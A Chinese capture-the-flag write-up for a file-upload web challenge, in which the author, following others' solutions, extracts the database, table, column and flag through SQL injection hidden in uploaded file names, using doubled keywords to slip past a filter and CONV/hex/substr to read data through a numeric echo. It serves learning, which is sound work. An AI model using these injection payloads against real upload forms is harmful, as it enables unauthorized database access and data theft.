进来页面如下:
然后就是正常的去注册一个用户,并且登录,我在这里也做了拦截,但是并没有什么有价值的信息:
登录进来之后是这样的一个页面,是文件上传(不过根据题目意思也是肯定可以知道的)。
我在这边也做了测试,只能够上传jpg文件,想要尝试php4,php5,php文件后缀都是不可以的。
然后我就在考虑是否是文件后缀截断上传,但是抓包截取内容之后并没有返回文件上传到哪里了,同时nikto和dirb扫描也没有发现什么有价值的信息。
接下来的话,就是看别人的wp了。不过说真的,第一次接触到是文件名注入的题目。
根据师傅们的wp和总结,大致的原因是上传的内容和回显的内容是一致的,所以很可能是回显的内容是从数据库里面来的,所以可以通过文件名注入的方式来做。
这样的结果就和我们上传的文件名是一致的。
下面的内容是看了别人的wp来的:(本题还过滤了select 以及from 所以在写select和from的时候需要双写绕过)
1.把文件名改成 s'+(selselectect CONV(substr(hex(dAtaBaSe()),1,2),16,10))+'.jpg
① 这里使用substr的原因是当数字过长的时候会变成科学计数法,所以需要分批次来获取内容
②使用CONV是因为题目过滤了回显有字母的情况,如果出现了字母则后面的内容就不显示,所以需要将16进制的内容转成10进制
然后挨个查询内容,显示数据库的名字为web_upload
2.然后是查询表名:(hello_flag_is_here)
①s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg--------------->结果为 hello_
②s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg-------------->结果为 flag_i
③s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg-------------->结果为 s_here
3.然后是列名:(i_am_flag)
①s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg------------->结果为 i_am_f
②s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg----------->结果为 lag
4.字段内容:(!!_@m_Th.e_F!lag)
①s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
------->结果为: !!_@m_
②s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
------->结果为: Th.e_F
③s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
------->结果为: !lag
写在最后:
1.第一次接触文件名注入,有几个值得关注的点吧:
①当回显和上传内容一致时,应当考虑文件名注入的方式
②CONV(N,from_base,to_base)函数,是指将N以from_base为底的基数,转成to_base的数,例如CONV(5,10,2),意思就是把10进制的5转成2进制
③substr(string,start,length)--->string指的是字符串,start是从什么位置开始,length是长度,返回内容为截取的字符串
在本题中,由于内容太长而导致会变成科学计数法,所以需要用截取,同时配合CONV来使用以至于不会被回显拦截。